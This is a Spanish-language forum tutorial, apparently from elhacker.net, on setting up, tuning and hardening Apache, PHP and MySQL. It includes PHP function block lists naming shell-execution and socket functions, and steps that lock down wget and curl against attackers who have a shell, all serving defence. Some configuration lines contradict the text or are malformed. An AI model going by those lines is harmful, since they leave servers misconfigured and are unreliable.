Me explico, si tu máquina tiene una sola ip, pues deberas hacer vhosts basados en nombre, y si tienes varias ips pues puedes elegir, yo solo se hacerlo basado en nombre, ya que sólo tengo una ip:

Por ejemplo:

Tenemos el apache y queremos alojar nuestra web y la de un amigo:

El amigo compra el dominio pepe.com y apunta las dns a nuestra maquina.

Nosotros tenemos que decirle a nuestra máquina esto:

<VirtualHost *>
ServerAdmin amigo@pepe.com
DocumentRoot /web/amigo_pepe/
ServerName pepe.com
ErrorLog logs/web_amigo_pepe_errpr
CustomLog logs/web_amigo_pepe_log common
</VirtualHost>

Ejemplo real de un vhost based-name (basado en nombre) del dominio elhacker.net, totalmente completo:

#le decimos listen y la ip de nuestra maquina y el puerto (normalmente 80)

Listen *:80

#recuerda que si sales por un router deberás poner Listen 192.168.0.3 , o sea la ip local, ya que sinó al arrancar el apache dará el error "could not bind address port"

NameVirtualHost *:80


#este es el vhost por defecto. Aunque está basado en nombre, este vhost como es por defecto, también podemos acceder directamente por la ip.

<VirtualHost *:80>
DocumentRoot /usr/local/apache/htdocs/elhackerinfo
ServerName www.elhacker.info
ServerAlias elhacker.info
</VirtualHost>

#segundo vhost basado en en el nombre (dominio) www.elhacker.net y elhacker.net

<VirtualHost *:80>
ServerAdmin alex@elhacker.net
DocumentRoot /usr/local/apache/htdocs/elhackernet
ServerName www.elhacker.net
ServerAlias elhacker.net
</VirtualHost>

Asi en nuestro ordenador tendremos nuestra web y la de nuestro amigo, y las dos estaran en la misma IP y en el mismo servidor web. En este ejemplo solo hay 2 dominios, pero igual que hay 2 podriamos poner 200.

Ahora veamos un vhost basado en ip (ip-based):

#ponemos a la esucha las dos ips (o si tuvieramos 5 ips, pues pondríamos las 5)
Listen 62.121.32.120:80
Listen 62.121.32.121:80

NameVirtualHost 62.121.32.120:80
NameVirtualHost 62.121.32.121:80

#configuro el vhost para la primera IP

<VirtualHost 62.121.32.120:80>
DocumentRoot /home/foro/public_html
ServerName foro.elhacker.net

<Directory "/home/foro/public_html">
   Order allow,deny
   Allow from all
  </Directory>
#etc, etc, etc
</VirtualHost>


#configuro el vhost para la segunda IP

<VirtualHost 62.121.32.121:80>
DocumentRoot /home/alex/public_html
ServerName www.elhacker.name

<Directory "/home/alex/public_html">
   Order allow,deny
   Allow from all
  </Directory>
#etc, etc, etc
</VirtualHost>

El apache también puede hacer de proxy, esta opción por defecto está desactivada, pero veremos como configurar el Apache como proxy.

Primero tiene que estar el módulo mod_proxy.c cargado en el Dynamic Shared Object (DSO)

#<IfModule mod_proxy.c>

# <Directory proxy:*>
# Order deny,allow
# Deny from all
# Allow from ip
# </Directory>


=====================================================================

2) Configuración avanzada PHP + Seguridad en PHP

Editaremos el Archivo php.ini

expose_php = Off

Para evitar mostrar la versión del PHP en las cabeceras X-Powered-By: PHP, etc.

; Resource Limits ;

max_execution_time = 30 --> máximo tiempo de ejecución de un script php. Si en 30 segunos no obtiene respuesta el script se para y sale un "timeout" como errror.

memory_limit = 8M --> tamaño maximo que puede consumir un script php.

; File Uploads ;

Si queremos enviar ficheros al servidor, aqui lo podemos permitir:

file_uploads = On --> si queremos o no queremos

upload_tmp_dir = F:webspublic --> el directorio donde se copiarán los archivos que nos suban.

upload_max_filesize = 1M --> el tamaño máximo que queremos que nos envien.

Una caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del  sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc.

Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso.

Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con:

disable_functions =exec,system,shell_exec,readfile

Aunque las funciones en PHP son exec(), debemos ponerlo sin ().

Por ejemplo en Mi Arroba:

Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons.

Más restrictivo:

Funciones a deshabilitar:

exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd

disable_functions = system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, curl_exec, parse_ini_file, show_source

Otra lista más completa:

disable_functions=
popen,pclose,posix_getpwuid,posix_getgrgid,posix_k ill,parse_perms,phpinfo,system,dl,passthru,exec,
shell_exec,popen,proc_close,proc_get_status,proc_n ice,proc_open,escapeshellcmd,escapeshellarg,show_s ource,posix_mkfifo, set_time_limit,mysql_list_dbs,get_current_user,get myuid,pconnect,link,symlink,pcntl_exec,ini_alter,p arse_ini_file,pfsockopen, leak,apache_child_terminate,posix_kill,posix_setpg id,posix_setsid,posix_setuid,proc_terminate,syslog ,fpassthru,stream_select, socket_select,socket_create,socket_create_listen, socket_create_pair,socket_listen,socket_accept,sock et_bind,socket_strerror, pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexits tatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifs topped,pcntl_wstopsig,pcntl_wtermsig,openlog,apach e_get_modules,apache_get_version,apache_getenv, apache_note,apache_setenv,virtual


Recomendable instalar suhosin (una manera muy sencilla y segura de asegurar PHP)

suhosin.executor.func.blacklist = "system, exec, shell_exec, passthru, pcntl_exec, putenv, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, ini_alter, virtual, openlog, escapeshellcmd, escapeshellarg, dl, parse_ini_file, show_source, imap_open, ftp_connect, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd, php_uname, phpinfo apache_setenv, define_syslog_variables, eval, exec, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, exec, pipe, set_time_limit, popen, proc_open, parse_ini_file, show_source, mail, dl, ini_set, ini_alter, virtual, openlog, apc_add, apc_bin_dump, apc_bin_dumpfile, apc_bin_loadfile, apc_cache_info, apc_cas, apc_clear_cache, apc_compile_file, apc_dec, apc_define_constants, apc_delete_file, apc_delete, apc_exists, apc_fetch, apc_inc, apc_load_constants, apc_store, symlink, eval"



Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción:

Safe_mode = ON

o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto.  De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc.

http://www.zend.com/manual/features.safe-mode.functions.php

allow_url_fopen off --> para no dejar que se abran archivos remotos

register_globals off  --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante).

Otra manera intersante de progeter el php es con el magic_quotes_gpc:

Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt

- Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con
   On. Esto hace la adición automática del caracter de escape "" en variables tomadas
   de GET, POST y Cookies.

 magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data

 - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en
   bases de datos o archivos de texto. Debemos activar magic_quotes_runtime.

 magic_quotes_runtime = Off ; magic quotes for runtime-generated data.

Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php:

#bastaría con añadir esta linea dentro del vhost del apache
php_admin_flag engine ON

O bien podemos deshabilitar el safe_mode en un vhost (dominio)

php_admin_flag safe_mode Off

Más info:
http://es2.php.net/manual/en/configuration.changes.php


open_basedir = none

En el vhost del Apache:

php_admin_value open_basedir /home/user/public_html

De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas).

De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc).

Añadimos varias instrucciones en el vhost del apache:

php_flag display_errors Off
php_flag log_errors On
php_value error_log "/home/uesr/logs/errorsphp"

Por si todo esto falla y consiguen una shell:

#le damos permisos sólo al root para este fichero
chmod 700 /usr/bin/wget
# modo invariable
chattr +i /usr/bin/wget

Lo mismo para los comandos:

wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos.

 Se podría decir que hasta ahí tenemos mas o menos asegurado PHP.

=====================================================================

3) Instalación y configuración bajo Linux

Bueno instalarlo en Linux es diferente, pero la configuración es idéntica, excepto en las las rutas y algún otro parámetro más.

/usr/local/apache en vez de c:Archivos de ProgramaApache Group.......

Te bajas el Apache:

http://www.ibiblio.org/pub/packages/infosystems/WWW/servers/apache/httpd/apache_1.3.28.tar.gz

tar -xvzf apache_1.3.28.tar.gz
cd apache_1.3.28
./configure --enable-module=so
make
make install

Podemos instalarlo en otro directorio, que por defecto es /usr/local/apache con:

./configure --prefix=/www

El php:

http://www.php.net/get/php-4.3.1.tar.gz/from/bg.php.net/mirror

tar -xvzf php-4.3.1.tar.gz
cd php-4.3.1
./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs

o bien:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-gd --with-zlib

make
make install

ya ta. Recuerda que debes haber compilado el apache con module=SO, para poder compilar el PHP y la ruta del apxs correcta, sino tambien dara error claro. Yo he puesto la ruta por defecto, si has instalado el apache en otro sitio puedes hacer un "locate apxs" y ver dónde lo tienes.

Bien está todo instalado y debería funcionar, pero falta decir al Apache que "interprete" los  php  (igual que hariamos en Windows) con el httpd.conf

Buscamos -->

<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>

Y le añadimos esta línea:

AddType application/x-httpd-php .php

Tiene que quedar asi:

<IfModule mod_dir.c>
DirectoryIndex index.html
AddType application/x-httpd-php .php
</IfModule>

Verás que algunas páginas usan .shtml (y son webs dinámicas), sería muy fácil añadir un .shtml para que fuera equivalente a un .php

Bastaría con añadir esta línea:

AddType application/x-httpd-php .shtml

Puedes editar el php.ini en/etc/php.ini o /usr/local/lib/php.ini

Por defecto PHP usa sendmail para enviar e-mails con la función mail() , pero si queremos usar qmail, tenemos que añadir la ruta del ejecutable:

/usr/lib/qmail/qmail-inject

Para arrancar el apache tienes varias maneras:

/usr/local/apache/bin/apachectl start
/etc/rc.d/init.d/httpd start
/usr/local/apache/bin/httpd

Todas son válidas y con cualquier usuario, ya que en el conf ya se incluye "User nobody" y "Group nogroup". Puedes comprobarlo haciendo un "ps aux".

Instalar el MySQL bajo Linux, tampoco tiene mucho misterio. Hay paquetes rpm o puedes instalarlo desde las fuentes.

Para arrancarlo si has instalado el RPM:

/etc/rc.d/init.d/mysql start

Para instalarlo desde las fuentes (recomendado para una máxima estabilidad y rendimiento)

bajaremos el tar.gz de:

http://dev.mysql.com/downloads/mysql/5.0.html

shell> groupadd mysql
shell> useradd -g mysql mysql
shell> gunzip < mysql-VERSION.tar.gz | tar -xvf -
shell> cd mysql-VERSION
shell> ./configure --prefix=/usr/local/mysql
shell> make
shell> make install
shell> cp support-files/my-medium.cnf /etc/my.cnf
shell> cd /usr/local/mysql
shell> bin/mysql_install_db --user=mysql
shell> chown -R root  .
shell> chown -R mysql var
shell> chgrp -R mysql .
shell> bin/mysqld_safe --user=mysql &

Las Bases de datos se guardan por defecto en:
/var/lib/mysql

Para arrancar el MySQL es recomendable usar el script de inicio que lleva en la carpeta:

/share/mysql/mysql.server start
/share/mysql/mysql.server stop

Si quieres editar algún valor del MySQL:

ves al /etc/my.cnf

=====================================================================

4) Optimizando el Apache, PHP y MySQL

Tuning Apache en Linux

Para obtener el máximo rendimiento del Servidor web Apache, configurar el httpd.conf de Linux/Unix.

Los creadores del Apache afirman que no está diseñado, o no es su máxina prioridad, el rendimiento, pero aún así es posible configurarlo para obtener un mejor rendimiento. Especialmente es indicado para máquinas con una buena/nuy buena conexión a internet (10mbps para adelante)

Configuración mínima: 256 RAM.

Con esta nueva configuración Apache consumirá más memoria, pero si contamos con bastante memoria (1 GB o 2 GB) no hay ningún problema.

MaxKeepAliveRequests 0

# en comentarios los valores originales
#MinSpareServers 5
#MaxSpareServers 10

MinSpareServers 16
MaxSpareServers 30

También podemos poner (pero mejor tener una máquina con un tráfico bestial y 2 GB de ram minímo)

MinSpareServers 100

Pero mejor que tengas mucha ram y una buena cpu. Cada SpareServer será un subproceso del apache, que por lo tanto, consumirá memoria ram.

Número de procesos al arrancar el Apache:

#StartServers 5
StartServers 16

MaxRequestsPerChild 0

Configuración ideal para sitios con mucho tráfico:

<IfModule prefork.c>
ServerLimit 500
StartServers         40
MinSpareServers      30
MaxSpareServers     50
MaxClients         450
MaxRequestsPerChild 1000
</IfModule>

Los valores KeepAlive, Timeout, KeepAliveTimeout también deberían modificarse:

Timeout 300
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 3

Muchos recomiendan bajar el Tiemout hasta valores de 100. Muy importante dejar el KeepAliveTimeout en un valor bajo.


Los valores 0, indican "Ilimitado".

También la opción de "HostNameLookups"
es mejor ponerla en "HostNameLookups off"  , ya que así evitamos tener que hacer un reverso de DNS de cada visitante que entra y hace un "hit", y aunque existe una caché de DNS para agilizar este proceso, no es recomendable.

Para probar el rendimiento del apache, pueedes hacer un test que lleva incluido el propio apache. Es un ejecutable que se llama "ab" y está en el directorio /bin o /sbin. Este programa simula gran cantidad de tráfico para el Apache y es una muy buena manera de medir el rendimiento de tu apache.

PHP

Si tu Apache sirve básicamente páginas PHP te interesará especialmente usar algún "acelerador" (caheador) de scripts PHP que almacenan en memoria caché los scripts. Conseguirás bajar las cargas del servidor de una manera notable. Es muy recomendable usarlo incluso si hay muchas consultas al MySQL. Aunque PHP 5 es bastante más rápido que PHP 4, instalando el eAcclerator o el APC con PHP 5 también se mejora y mucho.

Un ejemplo claro es:

eAccelerator
http://eaccelerator.net/

eAccelerator es la continuación del proyecto Turck MMCache.

Otros "aceleradores" del PHP:

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

PHPAccelerator
http://www.php-accelerator.co.uk/

XCache
http://xcache.lighttpd.net/

MMCache
http://turck-mmcache.sourceforge.net/

En su web está explicada la instalación y configuración (muy fácil, es compilar y carga un nuevo módulo junto con añadir la nueva configuración en el php.ini)

Ejemplo:

wget
bzip2 -cd eaccelerator-0.9.5.2.tar.bz2 | tar xvf -
cd eaccelerator-0.9.5.2
locate phpsize
export PHP_PREFIX="/usr/local/bin/"
$PHP_PREFIX/bin/phpize
export PHP_PREFIX="/usr/local/"
$PHP_PREFIX/bin/phpize
./configure --enable-eaccelerator=shared --with-php-config=$PHP_PREFIX/bin/php-config
php -v
make
make install

Simplemente te creará un eaccelerator.so

Debes copiar el eaccelerator.so y ponerlo en un directorio /usr/lib/php4/

Para despues llamarlo en el php.ini

zend_extension="/usr/lib/php4/eaccelerator.so"
eaccelerator.shm_size="16"
eaccelerator.cache_dir="/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9

Crear el directorio:

mkdir /tmp/eaccelerator
chmod 0777 /tmp/eaccelerator"

APC (Alternative PHP Cache)
http://pecl.php.net/package/APC

/usr/local/bin/phpize
./configure --enable-apc --enable-apc-mmap --with-apxs=/usr/local/apache2/bin/apxs --with-php-config=/usr/local/bin/php-config
make
make install

Copiar e apc.so a nuestra carpeta de librerías del PHP

y añadir al php.ini

extension=apc.so
apc.enabled=1
apc.shm_segments=1
apc.optimization=0
apc.shm_size=128
apc.ttl=7200
apc.user_ttl=7200
apc.num_files_hint=1024
apc.mmap_file_mask=/tmp/apc.XXXXXX

Truco para acelerar el APC:

Añadir flag

apc.stat=0

De esta manera no mira cada vez si el script php ha cambiado, usar sólo si hacemos pocos cambios en el php. Mirar documentación.

También podemos optimizar al compilar el Apache, PHP y el MySQL usango flags:

http://gentoo-wiki.com/Safe_Cflags

MySQL

Guía completa actualizada:
http://wiki.elhacker.net/bases-de-datos/mysql/optimizacion

Herramientas para Optimizar MySQL
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Editar fichero /etc/my.cnf

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
max_connections=250
max_connect_errors=100
interactive_timeout=14400
wait_timeout=14400
connect_timeout=1


[mysql.server]
#muy importante como siempre ejecutar este proceso con un usuario con pocos privilegios
user=mysql
#dónde tenemos las bases de datos, por si queremos ponerlas en otra partición, por ejemplo.
basedir=/var/lib

[safe_mysqld]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

El max_connections por defecto es: 150, es mas que suficiente para según que cosas, pero en una máquina grande con muchas bases de datos, puede pasar que en un momento determinado hayan 150 conexiones simualtaneas. Entonces saldrá un error de "Too many connections".

También se pueden cambiar otros valores (variables):

variable = nuevovalor

Ejemplo:

key_buffer_size=8M

Una valor muy imporante para optimizar el MySQL es el "query caching". Creando una cache de las consultas podemos mejorar el rendimiento de la cpu y la velociad de las consultas.

Primero debemos asegurarnos que está activado:

mysql> SHOW VARIABLES LIKE ''mysql_query_cache'';

have_query_cache | YES  

Si está que no:

query_cache_type = 1

Definimos el tamaño de la cache en el archivo /etc/my.cnf

query_cache_size=100M

O más grande si tenemos mucha más ram (1gb-2gb)

También le podemos decir que querys con que tamaño minimo queremos que las guarde en cache:

query_cache_limit = 3M

Las consultas (querys) de más de 3 Mb no se guardarán en la caché.

Variables que conviene mirar:

Querys en caché

mysql> SHOW STATUS LIKE ''Qcache_queries_in_cache'';

Número de querys con caché servidas

mysql> SHOW STATUS LIKE ''Qcache_hits'';

Memoria libre de la cache para las querys.

mysql> SHOW STATUS LIKE ''Qcache_free_memory'';

Más variables a tener en cuenta:

http://www.mysql.com/doc/en/Query_Cache_Status_and_Maintenance.html


El MySQL lleva 3 archivos de configuración de ejemplo, para equipos pequeños (menos de 512 de ram), equipos medianos (más de 512 de ram) y para equipos grandes (1-2 Gigas de ram). Básicamente repercutirán en el consumo de ram del proceso MySQL, ya que los ejemplos de config varian el tamaño de la caché, de las consultas, etc.

# para equipos con =512 RAM
key_buffer_size=256M
max_allowed_packet=1M
table_cache=256
sort_buffer=1M
record_buffer=1M
myisam_sort_buffer_size=64M
thread_cache=8
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency=8
log-bin
server-id   = 1


# para equipos con 1 o 2 GB de ram
key_buffer = 384M
max_allowed_packet = 1M
table_cache = 512
sort_buffer_size = 2M
read_buffer_size = 2M
myisam_sort_buffer_size = 64M
thread_cache = 8
query_cache_size = 32M
# Try number of CPU''s*2 for thread_concurrency
thread_concurrency = 8

Vamos a ver estos valores por otros "no oficiales" pero igualmente válidos y que funcionan mejor:

#equipos con 512 de ram (editar siempre /etc/my.cnf)
thread_cache_size=50
key_buffer=40M
table_cache=384
sort_buffer_size=768K
read_buffer_size=512K
read_rnd_buffer_size=512K
thread_concurrency=2

#equipos con 1gb de ram (editar siempre /etc/my.cnf)
thread_cache_size=80
key_buffer=150M
table_cache=512
sort_buffer_size=1M
read_buffer_size=1M
read_rnd_buffer_size=768K
thread_concurrency=2

Consejo/Recuerda: Grande no siempre quiere decir mejor (cuidado con poner valores muy grandes a key_buffer_size, innodb_buffer_pool_size)

Truco: mira las variables siguientes (son muy importantes si usas tablas MyISAM)

low_priority_updates=1
concurrent_insert=2

InnoDB es un sistema transaccional de bases de datos que está activado por defecto en MySQL 4.x y superiores. Básicamente lo que hace es leer más lento, pero escrbir más rápido (evitando locking tables)

Para convertir una tabla MyISAM a InnoDB:

Desde el PhpMyAdmin:

ALTER TABLE nombre_de_la_tabla
TYPE=InnoDB;

Aunque antes de eso tenemos que configurar el my.cnf para usar InnoDB:

my.cnf MySQL Configuración

# Data files must be able to hold your data and indexes.
# Make sure that you have enough free disk space.
#use this line for MySQL 4.xx.xx
innodb_data_file_path = ibdata:1G:autoextend:max:2G
#innodb_data_file_path = ibdata:1G
innodb_buffer_pool_size = 50M
innodb_additional_mem_pool_size = 10M
innodb_file_io_threads = 8
# Set the log file size to about 25% of the buffer pool size
innodb_log_file_size=20M
innodb_log_buffer_size=8M
innodb_flush_log_at_trx_commit=1

Más info:
http://dev.mysql.com/doc/mysql/en/adding-and-removing.html
http://dev.mysql.com/doc/mysql/en/innodb-configuration.html
http://www.databasejournal.com/features/mysql/article.php/3367871

Si después de añadir un nuevo ibdata el MySQL no arranca es porque seguramente hay más de 1 ibdata (el que se crea por defecto y el que acabamos de decirle que añada) y no sabe cuál escoger.

Te recomiendo pasar todas las tablas que estén en InnoDB a  MyISAM otra vez (para no perder nada) y borrar todos los ibdata que hayan (aunque tengan x tamaño, estarán vacios), y arrancar el MySQL de nuevo y el solito creará el ibdata de nuevo con x tamaño que le hayamos dicho.

Herramientas para optimizar el MySQL (nos ayudarán a escoger los valores óptimos para las variables importantes)
http://foro.elhacker.net/tutoriales_documentacion/herramientas_para_optimizar_mysql-t214396.0.html

Truco para optimizar el MySQL:

optimizer_search_depth por defecto es 64, si tenemos pocas tablas es recomendable bajarlo a un número mucho más pequeño.

5) Evitando Ataques al Apache

Algo de Seguridad:

Sino quieres que se muestre la versión del Apache que estás usando:

Busca ServerSignature y lo pones en off:

ServerSignature off

y añades debajo:

ServerTokens ProductOnly

De esta manera la versión de tu Apache será "Apache" a secas, sin decir la versión exacta (Ej. --> Apache 1.3.29).

ServerTokens permite especificar como opciones Minimal|ProductOnly|OS|Full.

Si usamos el mod_security del Apache debemos dejarlo en full:

Código:
ServerTokens Full

Y podemos invernos el servidor que queramos:

SecServerSignature "Microsoft-IIS/5.0"

-------------------------------------------------------------
--- Configurando Apache versión httpd-2.0.40 como IIS 5.0. ---
--------------------------------------------------------------

a)en el fichero: httpd-2.0.40/include/ap_release.h

cambiamos las lineas:

#define AP_SERVER_BASEVENDOR "Apache Software Foundation"
#define AP_SERVER_BASEPRODUCT "Apache"
#define AP_SERVER_BASEREVISION "2.0.40"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

#define SERVER_BASEVENDOR "Apache Group"
#define SERVER_BASEPRODUCT "Apache"
#define SERVER_BASEREVISION "1.3.24"
#define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION

de manera que queden asi:

#define AP_SERVER_BASEVENDOR "Microsoft Corp"
#define AP_SERVER_BASEPRODUCT "Microsoft-IIS"
#define AP_SERVER_BASEREVISION "5.0"
#define AP_SERVER_BASEVERSION AP_SERVER_BASEPRODUCT "/" AP_SERVER_BASEREVISION
#define AP_SERVER_VERSION AP_SERVER_BASEVERSION

------------------------------------------------------------------

b)


en el fichero:

httpd-2.0.40/server/core.c

cambiamos la linea:


static enum server_token_type ap_server_tokens = SrvTk_FULL;

de manera que quede asi:

static enum server_token_type ap_server_tokens = SrvTk_MIN;


en este mismo fichero cambiamos:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_FULL;
server_version = NULL;
return APR_SUCCESS;
}


por esto otro:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_MIN;
server_version = NULL;
return APR_SUCCESS;
}



------------------------------------------------------------------

c)para terminar editamos el fichero:

httpd-2.0.40/os/unix/os.h

cambiando la linea:

#ifndef PLATFORM
#define PLATFORM "Unix"
#endif

para que queden asi:

#ifndef PLATFORM
#define PLATFORM "Win32"
#endif

Más:

Como quitar y modificar el banner del servidor Apache por SeSoX
http://www.iespana.es/hollygova/servicios_red/apache/apache_banner.txt


Si en el apache-status está todo el rato "L", o sea "Logging", te está diciendo ni más ni menos, que purges (vacies los logs, pero antes analiarlos con Awstats, WebAlizer, etc), ya deben tener un tamaño consdirable, y al apache le cuesta mucho rato loggear, o ya no tiene espacio.

Si en el apache-status hay muchas conexiones "R", o sea "Reading", significa que las dns de tu dominio están haciendo el tonto (han caído temporalmente, o algo parecido).

Si te atacan el apache (ataques DDoS, DoS, (Denegaciones de Servicio), muchas conexiónes por x tiempo, ataques por fuerza bruta) puedes usar el Mod_dosevasive (ahora llamado mod_evasive).

Follow this section for Apache 1.3.x.

-----command-----
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/etc/httpd/bin/apxs -cia mod_evasive.c
-----command-----


Follow this section for Apache 2.0.x.
-----command-----
up2date -i httpd-devel
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/sbin/apxs -cia mod_evasive20.c
-----command-----

<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

Fuente:
http://www.eth0.us/?q=mod_evasive


Comandos Linux:
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -ntu | grep -v TIME_WAIT | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -an | grep :80 | awk '{print $5}' | cut -f1 -d":" | sort | uniq -c | sort -n

Otro módulo para proteger el apache y que es altamente configurable es el mod_security

http://www.modsecurity.org/projects/modsecurity/apache/
http://www.securityfocus.com/infocus/1739
http://www.modsecurity.org/documentation/converted-snort-rules.html
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html

Revisa también las directivas RLimitCPU y RLimitMEM del Apache para poner límites del Apache de uso de CPU y memoria. Así evitarás DoS.

Limitación de peticiones grandes: Apache tiene varios directorios que permiten que limites el tamaño de una petición. Esto puede también ser útil para atenuar los efectos de un ataque Denial of Service.

Un buen lugar a comenzar es el directorio de ¨LimitRequestBody¨. Este directorio está fijado a ilimitado por defecto. Si estás permitiendo subidas de archivos de no más de 1MB, podrías fijar este ajuste en algo como:

LimitRequestBody 1048576

Algunos otros directorios a mirar son ¨LimitRequestFields¨, ¨LimitRequestFieldSize¨ y ¨LimitRequestLine¨. Estos directorios se fijan a algo razonable para la mayoría de los servidores, pero puedes desear limitarlos para adaptarlos lo mejor posible a tus necesidades.

.- Limitación del tamaño de XML Body: Si estás ejecutando el ¨mod_dav¨, entonces puedes desear limitar el tamaño máximo de un cuerpo de la petición de XML. El directorio de ¨LimitXMLRequestBody¨ está solamente disponible en Apache 2, y su valor prefijado es 1 millón de octetos (aproximadamente 1 Mb). Muchos tutoriales tendrán fijado este valor a 0, lo que significa que los archivos de cualquier tamaño pueden ser subidos; lo que puede ser necesario si estás utilizando WebDAV para subir archivos grandes, pero si lo estás utilizando simplemente para el control del source, puedes fijar un límite superior, tal como 10 Mb:

LimitXMLRequestBody 10485760

¿Quieres saber más para evitar ataques DDoS?

http://foro.elhacker.net/tutoriales_documentacion/intentando_detener_un_ddos-t137442.0.html
http://www.eth0.us/sysctl
http://opensource.srs-consulting.biz/doc/lsc/
http://www.securityfocus.com/infocus/1729
http://www.elhacker.net/opciones-seguridad-linux-proc.html

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset

=====================================================================

6) Protegiendo ancho de banda

La mejor manera para proteger el ancho de banda de tu apache es haciendo que nadie pueda linkarte descargas o imágenes. Las técinas de oculstimos en directorios raros o scripts PHP, no son métodos del todo efectivos.

El único requisito previo es tener activado el módulo rewrite.

Vamsos a ver un ejemplo haciendo un .htaccess en el directorio que queramos proteger y añadiendo:


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER ^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.png$ - [L]
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.jpg$ - [L]

RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !
^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !
^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.gif$ - [L]


Esto permite que las imagenes png, jpg y gif de ese directorio puedan ser vistas por nosotros, pero no linkadas o vistas desde otros dominios.


Protegiendo que te linkeen (segunda parte)

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?site.com/.*$ [NC]
RewriteRule .(gif|jpg)$ - [F]


RewriteRule .(gif|jpg)$
http://www.site.com/stop.gif [R,L]

